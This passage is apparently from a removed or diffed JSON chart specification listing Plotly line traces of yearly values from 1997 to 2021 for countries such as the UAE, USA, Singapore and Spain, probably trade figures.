- 2391.61, - 2994.49, - 4173.28, - 5185.49, - 7195.27, - 13724.3, - 16380.26, - 16677.04, - 15659.69, - 9924.29, - 8430.78, - 9880.9, - 12332.86, - 10954.33, - 9214.97, - 10311.13 - ] - }, - { - "mode": "lines", - "name": "U ARAB EMTS", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 3104.61, - 3588.83, - 4085.98, - 3256.51, - 3406.88, - 4284.47, - 7185.41, - 11988.98, - 12945.87, - 20677.05, - 29119.52, - 48268.72, - 43469.5, - 66575.55, - 72681.84, - 75455.01, - 59540.24, - 59167.99, - 49762.18, - 52685.33, - 49885.23, - 59912.05, - 59110.23, - 43302.53, - 52768.97 - ] - }, - { - "mode": "lines", - "name": "TANZANIA REP", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 136.91, - 210.04, - 206.48, - 161.48, - 166.87, - 206.61, - 285.1, - 305.53, - 363.21, - 387.57, - 754.38, - 1241.95, - 1158.53, - 1801.38, - 1854.42, - 2905.13, - 4125.21, - 3573.64, - 2579.43, - 2732.06, - 2648.51, - 2607.51, - 2763.56, - 2373.94, - 2751.12 - ] - }, - { - "mode": "lines", - "name": "THAILAND", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 569.46, - 594.11, - 775.6, - 868.05, - 1056.22, - 1090.2, - 1440.73, - 1767.27, - 2286.89, - 3193.28, - 4111.8, - 4642.14, - 4671.68, - 6546.31, - 8244.85, - 9085.78, - 9043.47, - 9330.71, - 8498.03, - 8548.84, - 10788.29, - 11883.21, - 11087.67, - 9919.86, - 10706.05 - ] - }, - { - "mode": "lines", - "name": "TIMOR LESTE", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0, - 0, - 0, - 0, - 0, - 0, - 1.36, - 1.58, - 0.44, - 1.11, - 0.46, - 1.13, - 1.23, - 547.78, - 29.59, - 2.2, - 3.02, - 3.56, - 3.45, - 2.48, - 3.41, - 0, - 0, - 25.4, - 18.16 - ] - }, - { - "mode": "lines", - "name": "TOGO", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 38.47, - 21.7, - 30.26, - 52.25, - 58.21, - 84.5, - 67.65, - 309.4, - 170.35, - 198.12, - 286.75, - 278.66, - 232.88, - 296.74, - 505.28, - 477.29, - 600.27, - 884.07, - 757.28, - 454.12, - 572.48, - 998.02, - 1424.14, - 1847.47, - 2466.61 - ] - }, - { - "mode": "lines", - "name": "TONGA", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0, - 0.22, - 0, - 0, - 0, - 1.42, - 1.77, - 0, - 0.56, - 0.66, - 0.38, - 0.52, - 0.49, - 0.94, - 0.79, - 1.75, - 1.06, - 0.92, - 1.12, - 1.26, - 0, - 0.39, - 0, - 0.85, - 0 - ] - }, - { - "mode": "lines", - "name": "TRINIDAD", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 13.98, - 8.99, - 8.22, - 0, - 10.92, - 22.44, - 27, - 42.87, - 68.47, - 160.38, - 310.76, - 422.58, - 206.83, - 143.14, - 286.57, - 90.42, - 110.18, - 233.9, - 184.83, - 258.07, - 131.17, - 279.13, - 169.53, - 264.15, - 180.51 - ] - }, - { - "mode": "lines", - "name": "TUNISIA", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 160.26, - 222.78, - 215.25, - 124.51, - 150.53, - 152.44, - 132.87, - 169.4, - 183.72, - 253.14, - 279.54, - 814.84, - 466.38, - 583.47, - 450.07, - 514.12, - 365.66, - 446.02, - 358.86, - 370.21, - 422.02, - 442.08, - 376.15, - 388.01, - 503.38 - ] - }, - { - "mode": "lines", - "name": "TURKEY", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 308.44, - 268.48, - 285.99, - 376.96, - 288.41, - 427.96, - 636.66, - 858.62, - 1203.88, - 1663.21, - 3440.2, - 2921.04, - 3142.84, - 3570.21, - 4569.17, - 5997.84, - 5194.18, - 6822.77, - 4916.94, - 5833.9, - 7222.89, - 7840.71, - 7086.03, - 5420.22, - 7555.64 - ] - }, - { - "mode": "lines", - "name": "TURKMENISTAN", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 1.7, - 2.03, - 6.03, - 3.83, - 6.3, - 15.7, - 28.55, - 26.12, - 31.18, - 45.94, - 44.65, - 53.5, - 46.15, - 35.89, - 63.41, - 78.25, - 87.73, - 105.03, - 115.5, - 78.92, - 80.46, - 66.27, - 37.89, - 60.64, - 92.31 - ] - }, - { - "mode": "lines", - "name": "TURKS C IS", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0, - 1.05, - 3.83, - 21.02, - 29.15, - 50.57, - 17.28, - 0, - 3.91, - 0.85, - 1.23, - 2.1, - 2.05, - 0.13, - 0.18, - 0.37, - 0.53, - 0.16, - 0.18, - 0.82, - 1.17, - 0, - 0.65, - 0.17, - 0.39 - ] - }, - { - "mode": "lines", - "name": "TUVALU", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0, - 0, - 0, - 0, - 0, - 0, - 0.04, - 0, - 0.14, - 0, - 8, - 7.23, - 0.26, - 0, - 0.02, - 0, - 0, - 1.45, - 0.07, - 0.21, - 0.06, - 0, - 0, - 0, - 0 - ] - }, - { - "mode": "lines", - "name": "U K", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 4535.68, - 4476.77, - 4737.35, - 5466.63, - 4724.07, - 5273.42, - 6257.58, - 7247.29, - 8989.58, - 9800.8, - 11659.18, - 12521.86, - 10683.06, - 12681.73, - 15724.23, - 14905.62, - 15824.17, - 14338.01, - 14021.02, - 12195.03, - 14497.82, - 16871.22, - 15450.49, - 13113.32, - 12504.11 - ] - }, - { - "mode": "lines", - "name": "REUNION", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0, - 0, - 0, - 3.97, - 5.21, - 5.23, - 8.38, - 12.64, - 18.18, - 27.29, - 45.96, - 63.18, - 49.76, - 56.55, - 76.09, - 76.61, - 75.18, - 71.37, - 61.48, - 55.07, - 64.41, - 65.38, - 58.67, - 62.27, - 61.55 - ] - }, - { - "mode": "lines", - "name": "U S A", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 10449.58, - 10839.84, - 11955.83, - 12320.12, - 11662.96, - 15339.34, - 16524.86, - 20767.1, - 26807.8, - 30601.71, - 41798.58, - 39710.95, - 36509.17, - 45342.63, - 58196.52, - 61359.95, - 61647.19, - 64263.26, - 62117.39, - 64519.71, - 74489.51, - 87955.76, - 88908.65, - 80511.24, - 87130.39 - ] - }, - { - "mode": "lines", - "name": "UGANDA", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 44.51, - 45.15, - 41.33, - 48.3, - 56.79, - 67.84, - 89.78, - 82.58, - 95.48, - 112.1, - 168.92, - 237.11, - 220.31, - 306.44, - 453.3, - 492.4, - 563.76, - 591.61, - 615.46, - 563.41, - 588.47, - 603.14, - 655.5, - 708.91, - 577.31 - ] - }, - { - "mode": "lines", - "name": "UKRAINE", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 240.43, - 170.21, - 195, - 201.05, - 247.93, - 288.65, - 345.41, - 746.4, - 1050.58, - 1286.57, - 1283.54, - 1938.83, - 1882.55, - 1932.73, - 2954.93, - 3177.26, - 2286.01, - 2587.89, - 2010.21, - 2791.63, - 2686.07, - 2731.82, - 2524.6, - 2590.83, - 2352.34 - ] - }, - { - "mode": "lines", - "name": "URUGUAY", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 37.11, - 38.4, - 28.57, - 38.6, - 29.45, - 21.55, - 29.69, - 28.56, - 31.97, - 44.26, - 63.9, - 80.28, - 64.37, - 102.66, - 172.11, - 167.6, - 181.4, - 228.68, - 170.62, - 201.25, - 184.43, - 223.95, - 204.93, - 268.3, - 238.04 - ] - }, - { - "mode": "lines", - "name": "UZBEKISTAN", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 20.3, - 14.5, - 22.91, - 19.98, - 23.8, - 25.62, - 42.84, - 52.81, - 50.57, - 63.6, - 56.52, - 116.27, - 84, - 81.05, - 126.43, - 156.75, - 145.56, - 226.31, - 139.89, - 155.51, - 234.39, - 328.14, - 247.06, - 295.01, - 218.77 - ] - }, - { - "mode": "lines", - "name": "VANUATU REP", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0, - 0, - 7.47, - 35.77, - 0.15, - 4.59, - 14.16, - 1.86, - 49.93, - 11.6, - 3.2, - 11.93, - 0, - 2.56, - 0, - 8.8, - 0, - 1.87, - 2.31, - 0, - 2.27, - 0, - 2.67, - 2.27, - 0 - ] - }, - { - "mode": "lines", - "name": "VENEZUELA", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 29.45, - 32.93, - 25.91, - 56.73, - 58.13, - 44.25, - 23.64, - 75.99, - 103.96, - 874.97, - 532.7, - 4401.56, - 3069.72, - 5385.96, - 6916.62, - 14351.81, - 14137.09, - 11987.96, - 5832.47, - 5574.28, - 5945.58, - 7423.72, - 6396.72, - 1271.33, - 338.87 - ] - }, - { - "mode": "lines", - "name": "VIETNAM SOC REP", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 135.34, - 134.57, - 165.89, - 238.3, - 237.09, - 366.57, - 448.65, - 642.46, - 822.06, - 1153.07, - 1783.77, - 2147.31, - 2360.76, - 3716.34, - 5441.96, - 6282.15, - 8036.19, - 9261.23, - 7826.38, - 10107.12, - 12831.64, - 13699.61, - 12343.32, - 11120.3, - 10181.09 - ] - }, - { - "mode": "lines", - "name": "VIRGIN IS US", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0.12, - 0.33, - 0, - 0, - 4.04, - 10.36, - 1.04, - 1.62, - 1, - 1.67, - 3.32, - 2.87, - 6.68, - 1.67, - 3.81, - 1.83, - 6.16, - 5.42, - 5.31, - 9.86, - 3.16, - 43.26, - 88.9, - 75.05, - 3.93 - ] - }, - { - "mode": "lines", - "name": "YEMEN REPUBLC", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 69.36, - 73.75, - 335.46, - 174.26, - 195.55, - 205.99, - 247.31, - 277.23, - 288.82, - 3188.49, - 2468.6, - 1541.91, - 2302.95, - 2258, - 1701.34, - 2436.19, - 2089.17, - 1532.82, - 406.67, - 450.94, - 716.52, - 753.09, - 743.98, - 808.93, - 631.41 - ] - }, - { - "mode": "lines", - "name": "ZAMBIA", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 123.84, - 56.42, - 49.23, - 34.05, - 39.2, - 45.36, - 58.41, - 73.37, - 107.08, - 193.1, - 205.06, - 315.83, - 190.55, - 150.54, - 379.72, - 567.95, - 620.45, - 649.94, - 773.48, - 981.11, - 1389.27, - 829.55, - 1090.95, - 395.36, - 358.62 - ] - }, - { - "mode": "lines", - "name": "TAJIKISTAN", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0, - 3.04, - 4.72, - 4.1, - 2.56, - 8.73, - 8.42, - 10.68, - 12.13, - 15.42, - 22.21, - 34.17, - 32.57, - 41.33, - 30.13, - 48.01, - 55.13, - 58.09, - 32.24, - 42.26, - 74.24, - 26.52, - 23.8, - 54.51, - 30.67 - ] - }, - { - "mode": "lines", - "name": "TAIWAN", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 876.19, - 675.41, - 730.63, - 900.36, - 919.38, - 1241.24, - 1301.39, - 1710.59, - 2012.01, - 2593.89, - 4135.19, - 4373.08, - 4490, - 6262.6, - 8174.82, - 7007.32, - 6030.73, - 6207.35, - 4780.21, - 5326.52, - 6082.91, - 7184.46, - 5720.75, - 5656.84, - 6553.88 - ] - }, - { - "mode": "lines", - "name": "SYRIA", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 65.73, - 69.81, - 72.37, - 81.99, - 105.81, - 130.06, - 206.11, - 257, - 281.8, - 487.2, - 693.02, - 522.42, - 490.13, - 528.89, - 714.85, - 339.14, - 310.71, - 216.23, - 177.37, - 153.99, - 178.98, - 168.76, - 174.67, - 139.57, - 99.21 - ] - }, - { - "mode": "lines", - "name": "SWITZERLAND", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 3007.35, - 3261.43, - 2951.39, - 3597.85, - 3279.85, - 2712.6, - 3762.6, - 6480.81, - 7035.32, - 9611.56, - 10372.68, - 12638.74, - 15287.82, - 25491.79, - 35854.3, - 33283.82, - 21107.96, - 23201.74, - 20276.66, - 18226.74, - 20006.89, - 19274.27, - 18099.96, - 19492.48, - 20627.62 - ] - }, - { - "mode": "lines", - "name": "ROMANIA", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 76.76, - 60.77, - 32.67, - 33.85, - 59.81, - 73, - 119.72, - 274.4, - 354.52, - 462.27, - 679.45, - 839.64, - 556.16, - 663.48, - 724.97, - 594.27, - 662.02, - 713.24, - 565.01, - 574.91, - 810.62, - 745.59, - 628.24, - 565.81, - 627.64 - ] - }, - { - "mode": "lines", - "name": "RUSSIA", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 1596.09, - 1254.96, - 1571.11, - 1406.67, - 1333.69, - 1296.61, - 1673.38, - 1954.01, - 2755.33, - 3312.73, - 3418.77, - 5424.62, - 4547.49, - 5289.45, - 6542.58, - 6527.25, - 6015.66, - 6346.23, - 6172.79, - 7489.36, - 10686.85, - 8229.91, - 10110.68, - 8141.26, - 9440.31 - ] - }, - { - "mode": "lines", - "name": "RWANDA", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0, - 0, - 0, - 0, - 4.05, - 0, - 0, - 9.09, - 10.68, - 15.42, - 13.66, - 32.08, - 26.7, - 32.49, - 48.43, - 78.1, - 87.81, - 150.47, - 107.42, - 89.23, - 95.94, - 151.58, - 128.15, - 140.96, - 100.31 - ] - }, - { - "mode": "lines", - "name": "SAMOA", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0, - 0, - 1.61, - 1.16, - 0, - 0.73, - 0.39, - 0, - 0.42, - 1.31, - 0.43, - 0.68, - 1.51, - 1.65, - 2.35, - 2.19, - 4.32, - 3.66, - 4.68, - 8.07, - 2.65, - 5.33, - 7.25, - 3.16, - 1.46 - ] - }, - { - "mode": "lines", - "name": "SAO TOME", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0, - 0, - 0, - 0, - 0, - 0.38, - 0, - 0, - 0.43, - 0, - 1.47, - 1.05, - 1.27, - 1.16, - 0.79, - 0.91, - 0, - 1.52, - 0.93, - 0.95, - 0, - 1.19, - 0, - 2.04, - 0 - ] - }, - { - "mode": "lines", - "name": "SAUDI ARAB", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 2410.06, - 2605.76, - 3161.74, - 1444.06, - 1290.42, - 1445.47, - 1861.07, - 2713.21, - 3442.11, - 15946.1, - 23181.46, - 25083.12, - 21004.57, - 25069.68, - 37501, - 43783.89, - 48622.6, - 39268.98, - 26702.8, - 25082.68, - 27480.66, - 34040.93, - 33094.24, - 22043.37, - 29279.61 - ] - }, - { - "mode": "lines", - "name": "SENEGAL", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 77.11, - 151.3, - 107.37, - 68.11, - 156.63, - 223.76, - 171.7, - 250.44, - 386.06, - 225.34, - 348.04, - 361.1, - 425.73, - 415.81, - 449.19, - 490.63, - 580.08, - 726.89, - 822.66, - 949.95, - 1289.05, - 1298.23, - 946.56, - 1100.23, - 1151.15 - ] - }, - { - "mode": "lines", - "name": "SEYCHELLES", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 6.38, - 0, - 5.16, - 7.88, - 5.78, - 6.23, - 10.15, - 11.2, - 11.77, - 13.65, - 72.83, - 98.63, - 21.73, - 36.31, - 37.29, - 41.28, - 53.71, - 33.74, - 34.81, - 36.88, - 43.43, - 89.76, - 71.35, - 58.72, - 35.25 - ] - }, - { - "mode": "lines", - "name": "SIERRA LEONE", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0, - 2.19, - 3.42, - 5.2, - 17.78, - 15.11, - 19.24, - 15.4, - 22.1, - 23.16, - 81.42, - 56.77, - 41.31, - 60.98, - 91.59, - 190.02, - 106.55, - 103.99, - 107.73, - 105.94, - 117.67, - 124, - 139.86, - 160.81, - 152.36 - ] - }, - { - "mode": "lines", - "name": "SINGAPORE", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 1776.53, - 1901.69, - 1833.02, - 2341.03, - 2276.4, - 2856.39, - 4210.2, - 6652.01, - 8779.06, - 11538.15, - 15501.83, - 16099.79, - 14046.74, - 16964.75, - 25246.19, - 21105.63, - 19273.03, - 16933.83, - 15028.2, - 16651.15, - 17669.82, - 27853.91, - 23669.44, - 21980.41, - 21498.14 - ] - }, - { - "mode": "lines", - "name": "SLOVAK REP", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 38.12, - 14.92, - 17.57, - 16.77, - 21.3, - 22.38, - 27.47, - 46.75, - 61.26, - 56.04, - 91.3, - 81.84, - 76.06, - 147.5, - 182.34, - 170.45, - 157.56, - 273.94, - 202.16, - 214.68, - 247.66, - 203.38, - 193.25, - 191.55, - 201.8 - ] - }, - { - "mode": "lines", - "name": "SLOVENIA", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 16.19, - 19.42, - 18.67, - 36.81, - 55.21, - 94.38, - 97.04, - 84.82, - 100.21, - 124.87, - 177.2, - 235.88, - 310.72, - 279.43, - 384, - 391.29, - 330.37, - 350.31, - 352.36, - 353.28, - 396.21, - 562.66, - 580.99, - 626.57, - 557.44 - ] - }, - { - "mode": "lines", - "name": "SOLOMON IS", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 2.81, - 9.18, - 1.75, - 3.39, - 4.39, - 1.58, - 8.34, - 0.55, - 3, - 2.26, - 34.99, - 1.43, - 2.06, - 1.18, - 23.3, - 16.66, - 7.36, - 18.69, - 70.39, - 56.27, - 69.01, - 61.38, - 41.01, - 35.51, - 14.16 - ] - }, - { - "mode": "lines", - "name": "SOMALIA", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 22.29, - 36.27, - 9.42, - 10.11, - 29.34, - 46.58, - 49.79, - 54.58, - 51.21, - 104.57, - 129.11, - 77.32, - 21.44, - 98.69, - 148.21, - 194.86, - 257.27, - 391.05, - 502.18, - 521.74, - 459.07, - 555.58, - 598.92, - 560.13, - 547.25 - ] - }, - { - "mode": "lines", - "name": "SOUTH AFRICA", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 891.9, - 1739.59, - 2301.12, - 1332.58, - 1793.84, - 2577.46, - 2438.53, - 3181.7, - 3998.67, - 4711.75, - 6266.1, - 7493.87, - 7732.99, - 11052.91, - 15702.94, - 13994.82, - 11149.55, - 11798.51, - 9536.48, - 9379.71, - 10659.91, - 10584.54, - 11077.97, - 11502.39, - 12767.99 - ] - }, - { - "mode": "lines", - "name": "SPAIN", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 602.96, - 713.63, - 687.84, - 808.4, - 845.98, - 987.61, - 1261.36, - 1778.91, - 2179.13, - 2506.08, - 3289.23, - 3561.95, - 3124.79, - 4052.87, - 4809.06, - 4681.4, - 4727.83, - 5153.32, - 4883.13, - 5393.76, - 5658.48, - 5862.99, - 5558.61, - 4750.44, - 4909.38 - ] - }, - { - "mode": "lines", - "name": "SRI LANKA DSR", - "type": "scatter", - "x": 